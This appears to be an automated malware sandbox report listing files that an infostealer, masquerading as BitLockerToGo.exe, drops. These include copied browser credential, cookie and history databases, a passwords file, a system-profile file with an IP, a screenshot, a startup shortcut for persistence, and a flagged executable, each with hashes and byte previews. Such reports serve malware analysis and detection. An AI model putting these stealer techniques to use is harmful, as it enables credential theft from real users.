Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KqbMb6uMMrllLogin Data For Account

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\NrGxmJ6iR8w5Cookies

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\OWiKacYEmjRRHistory

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\TqjUl9qFEgEVWeb Data

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\Wfn1uIfP6NkqWeb Data

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\XvdgmyzD0nC_Web Data

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\ZepIH9NMcVOsWeb Data

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\_7f6olETKF02Web Data

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\_OJ8_1ctZal9Cookies

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\dEbuxUy_xTGYWeb Data

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\qFcDgTpDJA6rHistory

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\r9QPSi3M8TE3History

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\vNnwTwjWIvfBLogin Data

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\w7roHjejHsXEHistory

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixyCPXDj512V5iG\Cookies\Chrome_Default.txt

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	6.005544722730675
Encrypted:	false
SSDEEP:	12:c7F2v4kMx/6UsMbf4/LJPhvkRj6a9kuEYTCRopYxOOVtouEYv:SCJyHXbfQJPh8RdkYiFoYv
MD5:	987FB1A1830B0EB5C0D306F8A2DE9981
SHA1:	8374E6320AD99C3FF177A9889F1AB75448F6EB19
SHA-256:	5EF24A6CE57CA3048431555909EC23CD5494DA76845F84271946442249DDA891
SHA-512:	9E2A48264084B79051FC275DD7780A5552B56220459A1CDDBE6F6A307FE0E5759AE20BC243D085D9734153879AC4E66233AB83F92551DD8092EABF85B16F2D15
Malicious:	false
Preview:	.google.com.TRUE./.TRUE.1712298002.NID.ENC893_djEwx6CLkXLg8AuSZWCgylmAsMNnd1LSfbcL+IfCgMvX/m5IrzdSwxt6X6n5S6C7wCoUoWvuixZpzrMizGZc5ohIpmsvlOrGTOhFkQ4+lCF6fVH0QNPBBb27o2nXM8em7EAYS1bYZC2LV04SqpgyxJmdfFA7UyWUoK8kFZQDRl0vdOzWdvAoumw2skuCCtJC2oG3z3OYbLTLDbM7wYvVmfDeqtnZRihAAt+ptqI6cfY1a+KO9XP+4XkDSXW7JhsexYHBqzSSBmUisGZ7f9E=_DrTFYLsM7YVgEN6pCv/RXeb8Bq748EwHbsLCIGv1kEc=...google.com.FALSE./.TRUE.1699078840.1P_JAR.ENC893_djEwZKzV9KAslchfQWnVTck71JHMVRC24lvAWgdl5WpYIXlINsbQSVWzkKU=_DrTFYLsM7YVgEN6pCv/RXeb8Bq748EwHbsLCIGv1kEc=..

C:\Users\user\AppData\Local\Temp\trixyCPXDj512V5iG\information.txt

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	5289
Entropy (8bit):	5.386152763123861
Encrypted:	false
SSDEEP:	96:xVE/wfCORxRcBC1IUlzhg/8v1pVY1ceI+ob1polTPhaj5g82t3XrqHiaqfhJD+oN:x+ynR84IUlzhS8v1pVY1ceI+ob1polTF
MD5:	743D0D64C9D0E9B8277B11C05F68A4D2
SHA1:	7BEB8FBE4DF92041821F52B97A3124A49EA4E61C
SHA-256:	C38CE4014B0A23FCF3F69D69059797DCA5636BD2FA24791DF41E8E3C78E82CCF
SHA-512:	9802515D000333568E0819B341D9A6491B7C8F2A12ED2B0800AB34DEA2BA67C6482358F94C613A123F444CC965EEB4E8BFD9FB41E1F23E6DFF59561E39318C4E
Malicious:	false
Preview:	Build: r1..Version: 2.0....Date: Wed May 22 14:06:26 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: f0b0cefb04406af8931cc2f4dc8718b4....Path: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixyCPXDj512V5iG....IP: 8.46.123.175..Location: US, New York City..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 724536 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 22/5/2024 14:6:26..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [328]..csrss.exe [412]..wininit.exe [488]..csrss.exe [496]..winlogon.exe [560]..services.exe [632]..lsass.exe [652]..svchost.exe [752]..fontdrvhos

C:\Users\user\AppData\Local\Temp\trixyCPXDj512V5iG\passwords.txt

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixyCPXDj512V5iG\screenshot.png

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	691330
Entropy (8bit):	7.928312885139918
Encrypted:	false
SSDEEP:	12288:dLt64QUUSsmE3XbYSa6vAsqeVUUo9/42stjA+3/vvGcHr6O7adfvJjVUPbfzk7tD:dLtro5mIX8SZAh8po9roAM/LL6O7aRRx
MD5:	4C87F9FDF1E0004DE4BDE9700DD58EEB
SHA1:	087BF8FA573FBA7DC83760AD1D1CD264716A35E6
SHA-256:	FD6420F7230E6387E99EE60CF78B4BDD9031B96EA03D8254E4D7A2F01D05828D
SHA-512:	AEBC1850AE1AFBB477875A63C55208EA55509F5975E164F479D5DF215FD02725217E183B79135F1813D8103AA417992E7A4F9766DD3D671849BBDB6DBC4EFBB1
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..g.mGy...v..>.sN.{..v...v...v...v...r......LN6.Lfc0. .Mv7...!.P....."..L.....x..f.o..Zkom`..y.....s.%...\|5j4:.......\|g.e...$..u..Ve..}...3l.n...vF.(.wx...1~...0..k3..{F.^......F/.f.....}.e...c..ol..........~m.2...5.....\../..a.y.g.....sz..}...f......g...~y....?.K.b.O..oy..6....~!....t..=.s..=.n..[..I..e.R......`..o.......c?....y.Skb...c..O.e[...~..e}a[..#J...?....=l>..^>Wi....l{H..?V......~t.b....J...X;..7M..%......e.w.m.....\|d\|...}o.v..#..sn\...~..t..jK,..a.0.{..'..c\|...}.......K\|[..f..o;.g..K...>e........V./..Il.}n.v.]...5.{^]./;.g.s;...v...n.=K.Y%..g..qM.t........W.>..,.......;...]rv.v...G......\|y.c...3>....Ry.m.q.~.U.......R.N..2>..Il...u..(..~..yjY.J........v.I..\|Ye.K......v.V.U.....y;N.......B\KK..].g.Y~..']V[...X.?..y....)N(...\|.....l;.eLN.s.......[:..{Ly.....@..<.\|....L...}.ql.7...XK....2wtY_Z..yG\.m;.<..'...v.W......G.....~q.

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Wed May 22 17:06:34 2024, mtime=Wed May 22 17:06:34 2024, atime=Wed May 22 17:06:32 2024, length=4563640, window=hide
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	4.914238652721844
Encrypted:	false
SSDEEP:	24:8aaHaDNlXHXzwXRcgK0Eadlj0B5AHaB1yNdFdPyUdqygm:8NHaDNlXcXRVZS66B1yV0yg
MD5:	52B48FA3F3A8EE2A31C7159387009448
SHA1:	8872A78B780B6B003AB622A549B36C9B1683D8A3
SHA-256:	42BAC113B87B82238D9071C59BBBD19ECFC793C255597CA4631A0C26CC255187
SHA-512:	4B08060E7573532AB4C9E0E38492D6791648E2D9101E8157DDAD9A3EFA74C428F9FB8C67B4397BAE3E095E7A3FC5993132F608D7144FC8432B36BF0A4F721670
Malicious:	false
Preview:	L..................F.... ....F.r....F.r.....#.r.....E.....................X.:..DG..Yr?.D..U..k0.&...&.......$..S.......r.....Y.r.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.X.............................^.A.p.p.D.a.t.a...B.P.1......X....Local.<......EW<2.X......[......................;..L.o.c.a.l.....N.1......X...Temp..:......EW<2.X.....^......................Xw.T.e.m.p.......1......X...EDGEMS~1.........X..X...........................*...E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.....b.2...E..X. .EdgeMS2.exe.H......X..X............................U..E.d.g.e.M.S.2...e.x.e.......................-...................Y.5......C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe....E.d.g.e.M.S.2.Q.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.\.E.d.g.e.M.S.2...e.x.e.......

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.560122156395636
TrID:	UPX compressed Win32 Executable (30571/9) 65.62% Win64 Executable (generic) (12005/4) 25.77% Generic Win/DOS Executable (2004/3) 4.30% DOS Executable Generic (2002/1) 4.30% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.02%
File name:	file.exe
File size:	12'249'088 bytes
MD5:	3d5808948d8fa538b14ddc5d1861202b
SHA1:	465557a1e5384105df4f388e960f2c8469bf7b98
